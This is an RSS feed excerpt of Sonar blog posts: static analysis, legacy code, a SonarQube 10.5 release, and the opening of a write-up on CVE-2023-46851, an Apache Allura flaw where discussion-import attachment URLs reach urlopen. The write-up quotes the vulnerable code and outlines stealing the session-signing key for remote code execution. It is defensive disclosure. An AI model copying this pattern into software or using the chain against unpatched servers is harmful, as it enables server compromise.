&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;No problem, right? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Actually, this is a big problem with the current software development process.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;What’s wrong with the current issue?&lt;/h3&gt;&lt;p&gt;Software development currently relies on unit testing to determine if the code can be pushed to production. What’s wrong with that? Unit testing only tests functionality. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Unit tests do not test for code quality. Code can function properly but be of low quality. Low-quality code adds to technical debt, creates a code base that is hard to maintain and modify, and leads to vulnerabilities that induce security risks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Peter McKee, Head of Developer Relations at Sonar, made a great quality versus functionality analogy during his recent webinar, “&lt;a href=&quot;https://www.youtube.com/watch?v=_mZ1kcKfO0o&quot;&gt;Driving DevOps Transformation: Leveling Up CI/CD with Static Code Analysis.&lt;/a&gt;” …&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Imagine you just installed a door and made sure it opened and closed. You tested the functionality, it works as expected and so you are happy and consider it done. However, weeks later, that door fell off when someone opened it. The door was never inspected to see if the proper fasteners were used, if the hinges were correct for the weight of the door, and if the framing around the door was all correct. The quality of the installation was never checked, and now the entire entrance needs to be reworked. &lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Quality is equally important as functionality. &lt;/p&gt;&lt;h3&gt;What is software quality? &lt;/h3&gt;&lt;p&gt;Clean Code is the foundation that creates quality software quality. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Clean Code is code that is secure, reliable, and maintainable. These are qualities that make up great quality software. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I won’t go into detail about the four main attributes of Clean Code—consistent, intentional, adaptable, and responsible—but I highly recommend &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/&quot;&gt;taking a deeper dive&lt;/a&gt; into It to understand its importance. What I want to discuss now is how you achieve Clean Code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;How do you achieve Clean Code?&lt;/h3&gt;&lt;p&gt;The answer is rather simple: static code analysis. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/learn/devops-transformation-static-code-analysis/&quot;&gt;Static code analysis&lt;/a&gt; is a method used in software development to evaluate the quality and correctness of source code without executing the program. This process involves analyzing the code to identify potential errors, code smells, security bugs and vulnerabilities, and compliance issues. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s break those issues down and explain each one:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Bug:&lt;/strong&gt; A coding error that will break your code and needs to be fixed immediately.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Vulnerability:&lt;/strong&gt; A point in your code that&amp;#x27;s open to attack.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Code Smell:&lt;/strong&gt; A maintainability issue that makes your code confusing and difficult to modify or expand in the future.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Other important aspects of static code analysis are taint analysis and security testing (SAST). &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Taint analysis&lt;/strong&gt; is a technique for tracking the flow of untrusted data through a software program to identify potential security vulnerabilities.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;SAST&lt;/strong&gt; is a type of security testing that analyzes source code for security vulnerabilities without requiring the execution of the applications. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Static analysis ensures you deliver high-quality software to prevent issues later in the DevOps workflow or the application&amp;#x27;s lifecycle. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;How important is static analysis? So important that the White House highlighted its importance in a &lt;a href=&quot;https://www.whitehouse.gov/wp-content/uploads/2024/02/Final-ONCD-Technical-Report.pdf&quot;&gt;National Cybersecurity Report. &lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is no longer a question of whether static analysis should be used but how soon you can implement it. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Do you need both unit testing and static analysis?&lt;/h3&gt;&lt;p&gt;YES! While unit testing isn’t enough to ensure the delivery of high-quality software, it does ensure its functionality. Remember, unit testing focuses on functionality, while static analysis focuses on quality. Both are necessary to deliver the best possible applications in today’s highly competitive business environment. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Sonar and static analysis&lt;/h3&gt;&lt;p&gt;Sonar static analysis tools &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, self-managed, and &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;, a cloud service, provide comprehensive static code analysis and an approachable means to obtain Clean Code, Clean as You Code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Clean as You Code&lt;/a&gt; allows developers to focus solely on new code, - code that is added or modified. This means all code going forward will be of the highest quality. This approach helps the developer focus on the code they are currently writing or modifying while the work is fresh and non-disruptive. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The best part? Implementing Clean as You Code is as simple as two steps.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Set up a &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/user-guide/quality-gates/&quot;&gt;quality gate &lt;/a&gt;that checks only new code based on a &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/instance-administration/quality-profiles/&quot;&gt;quality profile&lt;/a&gt; that defines your quality standards&lt;/li&gt;&lt;li&gt;Don’t release code unless your quality gate is green&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That’s it. With those simple steps, SonarQube or SonarCloud can easily get you started incorporating static code analysis into your development process.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Start SonarQube for free with the &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/&quot;&gt;Community Edition&lt;/a&gt;!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Prefer the cloud? No problem. Try out &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/signup/&quot;&gt;SonarCloud for free&lt;/a&gt; as well. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Legacy Codebases are a DevOps Issue]]></title><description><![CDATA[Explore how DevOps principles and practices can transform the challenge of managing legacy code into an opportunity for improvement. This piece outlines actionable strategies for refactoring, the importance of automation, and adopting a 'Clean as You Code' approach to ensure sustainable code quality and efficiency.]]></description><link>https://www.sonarsource.com/blog/legacy-codebases-are-a-devops-issue</link><guid isPermaLink="false">c5e2f843-1f3f-546b-a52a-0309b3c3409d</guid><dc:creator><![CDATA[Ben Dechrai]]></dc:creator><pubDate>Thu, 18 Apr 2024 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Congratulations, you’ve just inherited a legacy codebase!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That’s right, you’ve joined a new company, or taken on an existing project, and are navigating the quagmire of inconsistent coding styles, unused code, duplicated functionality, and the code smells that come with the years. Or maybe you’ve decided to refactor an application you yourself started many moons ago. In either case, you’d be forgiven for regretting some life decisions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But fear not, we’ve got your back! Let’s take a journey through a case study of someone who’s been through this before, and then on to some actionable tips and tools to help make your life easier, starting today.&lt;/p&gt;&lt;h2&gt;How it starts&lt;/h2&gt;&lt;p&gt;Let’s face it - we’ve all come across some code, comments, or documentation that’s caused us to stop and wonder… “what were they thinking?” And our fictional Byron below meant no harm, I’m sure. But rather than offer to make himself available for eternity to help with this function, I’m sure we’d all prefer to see something more sustainable.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// If you need to change
// this code, talk to me first!
// [Byron 2007-04-05]

// Byron hasn’t worked here for years
// [2019-02-08]

function passwordStrength(password) {
  return /^(?=.*[A-Z])(?=.*[a-z])(?=.*\d).{8,}$/.test(password) ? /^(?=.*[!@#\$%\^&amp;\*]).{12,}$/.test(password) ? &apos;Strong&apos; : &apos;Medium&apos; : &apos;Weak&apos;;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And so it falls to us, the inheritors of such technical debt, to make the code better. Not for the computer, as computers don’t care whether code is clean or dirty. No, my friends, we take on this challenge for the next developer who has to contend with the code base, noting full well that this could be our future selves.&lt;/p&gt;&lt;h2&gt;Case Studies&lt;/h2&gt;&lt;p&gt;To better understand how legacy codebases have been successfully managed, looking into case studies from the past can provide valuable insights. One such case study is that of the &lt;a href=&quot;https://www.monterail.com/blog/working-with-legacy-code-refactor/&quot;&gt;refactoring project for Cooleaf&lt;/a&gt;, a US-based company that provides a tool for companies to manage their employee engagement and recognition initiatives. &lt;em&gt;(Note that we have no association with them - they were just one of the first relevant articles I found while searching the internet.)&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The refactor was undertaken by the original developers, a Polish software development company, and in writing up their learnings, they noted that every software application is going to turn into legacy code. The mere act of making changes to add features or fix bugs means that the current version of the application is impacted by choices made in the past.&lt;/p&gt;&lt;blockquote&gt;It happens in the lifecycle of every product—some dead or duplicated legacy code is slowing the project down, the team working on that particular product has changed, the technology and practices used have become outdated or obsolete. Over the next couple of years, the app evolves in an undesired way, getting bigger and scarier, and eventually, you end up with a monster app that becomes difficult to handle – Tobiasz Waszak, Monterail&lt;footer&gt;&lt;cite&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;p&gt;Further, given that teams change over time, those choices might have been made by people who are no longer around, impacting institutional knowledge about the codebase. This makes the codebase harder to work on, while the application itself becomes less modern as it’s based on technology and practices that are becoming outdated or obsolete. This, in turn, can lead to a tendency for the application to run less efficiently than it could, and as it evolves, it continues to become even bigger and scarier to work on.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You might argue that it becomes a vicious and inevitable cycle of software quality degradation.&lt;/p&gt;&lt;h2&gt;To Refactor, or Rewrite from Scratch?&lt;/h2&gt;&lt;p&gt;The truth is, you’ll probably find value in doing a little of both, but there are some factors you’ll need to consider in any event.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Refactoring legacy code is time-consuming, but perhaps not as time-consuming as rewriting from scratch. You see, if you start a rewrite, you have to get feature parity before you can release, and that could take months or years, by which time your customers will have expected new features and bug fixes. This creates a cat-and-mouse game of working on both the legacy and new app at the same time, the latter always playing catch-up.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So perhaps, because of this, you choose the refactor path. But going through all the code and converting it to new standards and conventions could be just as large a task, especially when you remember you’ll have to deal with dependency hell as you navigate the mammoth task of upgrading packages and finding alternatives for those that have long since become deprecated.&lt;/p&gt;&lt;h2&gt;A Middle Ground&lt;/h2&gt;&lt;p&gt;The key to maximising success in a refactor is to ensure you have the highest possible test coverage so that you can test your changes immediately. This approach presents a challenge for untested legacy projects with monolithic files. The key here is not to see this as some deadlock situation but as an opportunity to gradually build your test coverage. Start by integrating tests for the most critical functionalities before embarking on any changes. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By doing this, any changes to the newly tested code will not result in changes to its functionality, and you can work with confidence knowing that you’re not creating more work for yourself. This strategy will pave the way for a &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Clean as You Code&lt;/a&gt; approach. Here at Sonar, we make it our mission to make it as easy and as unobtrusive as possible for you to write clean code, and we don’t believe you have to do it all at once to call it a success.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to help explain why, let’s take a look at the age of the code in SonarQube between the years of 2010 and 2022. You can quickly see that by mid-2022, more than 50% of the codebase consisted of code written in 2018 and beyond and that there were few to no lines of code from before 2014.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can also see in the following graph that we made quite some changes in 2015. Imagine if, before doing so, we’d refactored all of the code first. We’d have touched approximately 200 thousand lines of code, one-third of the codebase. Right before we threw them out completely.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8293580e-b2a7-4545-ad52-cb86bab91714/sq_code_added.png&quot; /&gt;&lt;p&gt;And our codebase isn’t unique in this. In 2016, Erik Bernhardsson devised a tool (which was used to generate the graphs in this post) to measure the half-life of code. Did you know that Erik discovered the half-life of a “somewhat randomly selected” (his words) group of open source projects to be 3.33 years?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That means on average, one of those projects will lose half its code every 40 months! And depending on the project, it can be even more drastic. I highly recommend reading &lt;a href=&quot;https://erikbern.com/2016/12/05/the-half-life-of-code.html&quot;&gt;his write-up on this if you’re after more details&lt;/a&gt;, like the fact that, at the time, the Angular project had a half-life of just 17 weeks!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here’s the graph of those randomly selected projects, which include angular, Kubernetes, react, rails, git, and Linux, with the red line indicating the average:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/29dce72d-42c9-4acf-9538-87a41bae89e0/git-projects-survival-exp-fit.png&quot; /&gt;&lt;h2&gt;Tie it Together with DevOps&lt;/h2&gt;&lt;p&gt;Now that you’ve heard the case for why and how Clean as You Code works, you’re now on track to iteratively improve your codebase. But rather than make this a manual process, you can leverage the principles of DevOps to make your life so much easier.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This one’s probably obvious, but I’d take a small wager that most legacy applications don’t have the thorough test suites you’d likely see in a modern application. Make sure you add tests to your existing code so that you can detect issues early. This might seem easier said than done, so consider starting with approval tests which verify that a piece of code produces the expected output. They are particularly valuable in refactoring scenarios where the goal is to change the structure of the code without altering its functionality. They provide a safety net to ensure that changes do not unintentionally affect the output.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With these tests in place, you can start the process of continual improvement of the quality of your code. &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;Install SonarLint in your IDE&lt;/a&gt; for starters, and then &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/try-out-sonarqube/&quot;&gt;try out SonarQube&lt;/a&gt; or &lt;a href=&quot;https://docs.sonarsource.com/sonarcloud/getting-started/overview/&quot;&gt;get started with SonarCloud&lt;/a&gt; and integrate them into your continuous integration and continuous deployment (CI/CD) process.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Even though SonarLint, our clean code linter, isn’t technically a DevOps process component, when you set it up in “connected mode”, it will communicate with your SonarQube or SonarCloud instance and make sure you’re made aware of any issues as soon as possible. It’s invaluable in shortening that continuous improvement feedback loop and making sure you can be aware of problems while the code’s still fresh in your head.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Tackling legacy code effectively hinges on integrating DevOps practices - refactoring judiciously, utilising automation for testing and integration, and embracing incremental changes. These steps streamline code management and set a foundation for continuous improvement.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SonarQube 10.5 Release Announcement]]></title><description><![CDATA[The 10.5 release of SonarQube includes support for Java 21, C++23, and TypeScript 5.4. Secrets detection analysis is faster and deeper SAST coverage has increased. Project onboarding is more simplified for monorepos, Maven, and GitHub Actions. Read on to find out about these and much more.]]></description><link>https://www.sonarsource.com/blog/sonarqube-10-5-release-announcement</link><guid isPermaLink="false">2d5f61d3-23cd-536f-809e-f0f4ca78313e</guid><dc:creator><![CDATA[Robert Curlee]]></dc:creator><pubDate>Tue, 16 Apr 2024 17:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the 10.5 release of SonarQube, we’re thrilled to announce support for Java 21, C++23, and TypeScript 5.4. We’ve simplified onboarding for monorepos in GitHub and GitLab, Maven projects, and GitHub Actions. We have doubled the rules for Kubernetes and Helm Charts. With the addition of the TensorFlow library, we expand our support of common libraries used by Machine Learning (ML) practitioners. Details on that and more are below.&lt;/p&gt;&lt;h2&gt;Major Language Updates&lt;/h2&gt;&lt;p&gt;Sonar helps support early adoption of the latest versions of major languages by adding support for C++23, Java 21, and TypeScript 5.4. Secrets detection analysis is even faster when running on multicore/multi-CPU machines. We’ve increased deeper SAST coverage to the top two thousand public Java libraries to help you find even more taint analysis issues. Our security rules and maintainability best practice rules for Kubernetes and Helm Charts have doubled. With the addition of the TensorFlow AI library, we’ve increased our support to three of the top Python libraries that Machine Learning practitioners use: TensorFlow, NumPy, and Pandas. Logging is essential to developing robust applications, and SonarQube helps you with &lt;a href=&quot;https://www.sonarsource.com/blog/csharp-logging/&quot;&gt;C# logging best practices&lt;/a&gt; in the .NET framework. To help you write accessible and sustainable code, we’ve added accessibility rules for HTML and sustainability rules for Java. Sonar helps clean the entire mainframe ecosystem, not just COBOL code but now also the Job Control Language (JCL).&lt;/p&gt;&lt;h2&gt;Simplified Project Onboarding &amp;amp; Analysis Config&lt;/h2&gt;&lt;p&gt;In the SonarQube 10.5 release, we’ve made significant strides to make onboarding your projects simpler than ever. Adding multiple projects in a monorepo is easier. Simply import your monorepo from GitHub or GitLab, and then SonarQube will guide you through project setup for each project in the monorepo. Next, the new SonarScanner for Maven now automatically scans all files from the root of a Maven project, so you no longer have to configure additional files to scan beyond the standard project files. Lastly, Sonar is excited to announce a new Sonar-provided GitHub Action for C, C++, and Objective-C to make analysis setup a breeze.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We hope you’re as delighted about the SonarQube 10.5 release as we are!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Find out more in the &lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-10-5-release-announcement/&quot;&gt;10.5 release announcement&lt;/a&gt; and our &lt;a href=&quot;https://docs.sonarqube.org/latest/setup-and-upgrade/release-upgrade-notes/&quot;&gt;10.5 upgrade notes&lt;/a&gt;.&lt;/p&gt;&lt;h4&gt;Are you still on an older SonarQube version?&lt;strong&gt; &lt;/strong&gt;&lt;/h4&gt;&lt;p&gt;If you’re on a version older than 9.9, upgrade to SonarQube 9.9 LTA before upgrading to 10.4. Check out this helpful &lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-lts-upgrade-checklist/&quot;&gt;checklist&lt;/a&gt; for a smoother upgrade. Watch the &lt;a href=&quot;https://www.sonarsource.com/resources/webinars/ace-your-sonarqube-upgrade/&quot;&gt;on-demand LTA upgrade webinar&lt;/a&gt; highlighting a step-by-step approach and common pitfalls encountered during the upgrade. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Dangerous Import: SourceForge Patches Critical Code Vulnerability]]></title><description><![CDATA[Our Vulnerability Research team discovered a critical code vulnerability in SourceForge, which attackers could have used to poison deployed files and spread malware to millions of users.]]></description><link>https://www.sonarsource.com/blog/dangerous-import-sourceforge-patches-critical-code-vulnerability</link><guid isPermaLink="false">7ed3600d-31fa-5c18-8a8a-c5bf9ba0db5c</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Tue, 16 Apr 2024 15:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Key Information&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;In October 2023, Sonar’s Vulnerability Research Team discovered a critical code vulnerability affecting the popular software platform &lt;a href=&quot;https://sourceforge.net/&quot;&gt;SourceForge&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;The vulnerability resides within the &lt;a href=&quot;https://allura.apache.org/&quot;&gt;Apache Allura&lt;/a&gt; software used by SourceForge and is tracked as &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-46851&quot;&gt;CVE-2023-46851&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Exploitation of the vulnerability would have allowed threat actors to &lt;strong&gt;fully compromise SourceForge&lt;/strong&gt;.&lt;/li&gt;&lt;li&gt;This access could have been used to poison deployed files and spread malicious software to nearly &lt;strong&gt;20 million users worldwide&lt;/strong&gt;. &lt;/li&gt;&lt;li&gt;SourceForge promptly reacted to our report and immediately disabled the affected feature.&lt;/li&gt;&lt;li&gt;The vulnerability has been fixed with &lt;a href=&quot;https://allura.apache.org/posts/2023-allura-1.16.0.html&quot;&gt;Apache Allura version 1.16.0&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;There were no signs of in-the-wild exploitation.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Introduction&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://sourceforge.net/&quot;&gt;SourceForge&lt;/a&gt; is a popular software platform that offers repositories for developers to manage their projects, collaborate with others, and distribute software to a wide audience. Although its popularity as a developer platform has decreased over the past few years, it is still actively used, with more than 2.6 million software downloads a day. It hosts popular projects like &lt;a href=&quot;https://sourceforge.net/projects/keepass/&quot;&gt;KeePass&lt;/a&gt;, &lt;a href=&quot;https://sourceforge.net/projects/openofficeorg.mirror/&quot;&gt;Apache OpenOffice&lt;/a&gt;, or &lt;a href=&quot;https://sourceforge.net/projects/xampp/&quot;&gt;XAMPP&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The centralized nature of a software distribution platform like SourceForge makes it a highly appealing target for malicious actors. By compromising this platform, attackers could poison or backdoor deployed files and spread malicious software, affecting millions of users worldwide.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In our continuous effort to improve our &lt;a href=&quot;https://www.sonarsource.com/&quot;&gt;Clean Code&lt;/a&gt; technology and contribute to the security of the open-source ecosystem, we decided to look into &lt;a href=&quot;https://allura.apache.org/&quot;&gt;Apache Allura&lt;/a&gt;, which is the underlying software that powers SourceForge. We discovered a critical arbitrary file read vulnerability in the code (&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-46851&quot;&gt;CVE-2023-46851&lt;/a&gt;) that attackers could leverage to gain remote code execution by signing a malicious serialized session.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this article, we deep-dive into this code vulnerability and outline how attackers could exploit it. Furthermore, we describe how the vulnerability was fixed and provide general guidance on how to prevent code vulnerabilities like this.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Apache Allura versions 1.15.0&lt;/strong&gt; and below are prone to an &lt;strong&gt;arbitrary file read&lt;/strong&gt; vulnerability. This vulnerability can be leveraged by attackers to &lt;strong&gt;retrieve the secret key&lt;/strong&gt; used to &lt;strong&gt;sign session cookies&lt;/strong&gt;. With access to this secret key, attackers can sign a malicious, serialized session and gain &lt;strong&gt;remote code execution&lt;/strong&gt;:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/1Yz6CtfPyLA&quot;&gt;Dangerous Import: SourceForge Patches Critical Code Vulnerability&lt;/a&gt;&lt;/p&gt;&lt;p&gt;The vulnerability was fixed with &lt;a href=&quot;https://allura.apache.org/posts/2023-allura-1.16.0.html&quot;&gt;Apache Allura version 1.16.0&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we dive into the feature and related code that introduces the arbitrary file read vulnerability. Also, we explain how attackers could leverage the vulnerability to gain remote code execution.&lt;/p&gt;&lt;h3&gt;Arbitrary File Read via Discussion Import (CVE-2023-46851)&lt;/h3&gt;&lt;p&gt;Apache Allura allows users to self-register an account and create a new project. When a project is created, different tools can be activated for this project.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9217aa92-48b6-480a-879f-37b3506956b7/allura-create-project.png&quot; /&gt;&lt;p&gt;The tool of interest for our consideration is the &lt;em&gt;Discussion&lt;/em&gt; tool. Selecting this tool adds a discussion forum to the project, where users can submit posts. For example, this is how the &lt;a href=&quot;https://sourceforge.net/p/keepass/discussion/&quot;&gt;discussion for KeePass&lt;/a&gt; looks like on SourceForge:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9be8da4e-7e6d-4139-a7ed-c477d5b9b8fc/sourceforge-keepass.png&quot; /&gt;&lt;p&gt;Posts added to a discussion can have an optional file attachment:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0266084f-285c-4fb0-9a80-db10260dba05/allura-post-01.png&quot; /&gt;&lt;p&gt;The user who created the project is able to import/export an existing discussion. For these imports/exports, a JSON file is used. For example, the exported JSON file for the above post and attachment looks like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{&quot;forums&quot;: [{
  ...
  &quot;threads&quot;: [        
    { 
      &quot;_id&quot;: &quot;2a528fd3ca&quot;,
      &quot;discussion_id&quot;: &quot;65390c0d570ac08aec41aa79&quot;,
      &quot;subject&quot;: &quot;Test&quot;,
      ...
      &quot;posts&quot;: [
        {
          &quot;slug&quot;: &quot;818a&quot;,
          &quot;text&quot;: &quot;This is a sample post.&quot;,
          &quot;subject&quot;: &quot;Test&quot;,
          ...
          &quot;attachments&quot;: [
            {
              &quot;bytes&quot;: 5,
              &quot;url&quot;: &quot;http://allura.example.com/p/foo/discussion/general/thread/2a528fd3ca/818a/attachment/sample.txt&quot;,
              &quot;path&quot;: &quot;discussion/65390c0d570ac08aec41aa79/2a528fd3ca/818a/sample.txt&quot;
            }
          ],
         ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The highlighted text shows that the content of the attachment is not directly stored, but instead a URL, which references the stored attachment on the Allura server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When a discussion is imported via a JSON file, the method &lt;code&gt;add_posts&lt;/code&gt; in the class &lt;code&gt;ForgeDiscussionImporter&lt;/code&gt; is responsible for re-creating the posts. This method passes the &lt;code&gt;url&lt;/code&gt; attribute of each entry in the &lt;code&gt;attachments&lt;/code&gt; to the constructor of the &lt;code&gt;File&lt;/code&gt; class:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class ForgeDiscussionImporter(AlluraImporter):
    # [ ... ]
    def add_posts(self, thread, posts, app):
        created_posts = []
        for post_json in posts:
           # [ ... ]
                p = thread.add_post(...)
                # [ ... ]
                p.add_multiple_attachments(
                        [File(a[&quot;url&quot;]) for a in post_json[&quot;attachments&quot;]]
                    )&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The constructor of the &lt;code&gt;File&lt;/code&gt; class passes the &lt;code&gt;url&lt;/code&gt; attribute further on to the constructor of the &lt;code&gt;ProjectExtractor&lt;/code&gt; class:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class File:
    def __init__(self, url, filename=None):
        extractor = ProjectExtractor(None, url, parser=bytesio_parser)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;There are a few nested calls within the &lt;code&gt;ProjectExtractor&lt;/code&gt; constructor, but the &lt;code&gt;url&lt;/code&gt; parameter eventually ends up in a call to &lt;code&gt;urlopen&lt;/code&gt;, which creates a &lt;code&gt;Request&lt;/code&gt; object. This object is passed to &lt;code&gt;h.urlopen&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class ProjectExtractor:
    # [ ... ]
    @staticmethod
    def urlopen(url, ...):
        req = six.moves.urllib.request.Request(url, **kw)
        # [ ... ]
        return h.urlopen(req, retries=retries, codes=codes, timeout=timeout)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This function uses &lt;code&gt;urllib.request.urlopen&lt;/code&gt; to retrieve the content of the URL, which is then added to the attachment of the imported post:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def urlopen(url, retries=3, ...):
    # [ ... ]
    attempts = 0
    while True:
        try:
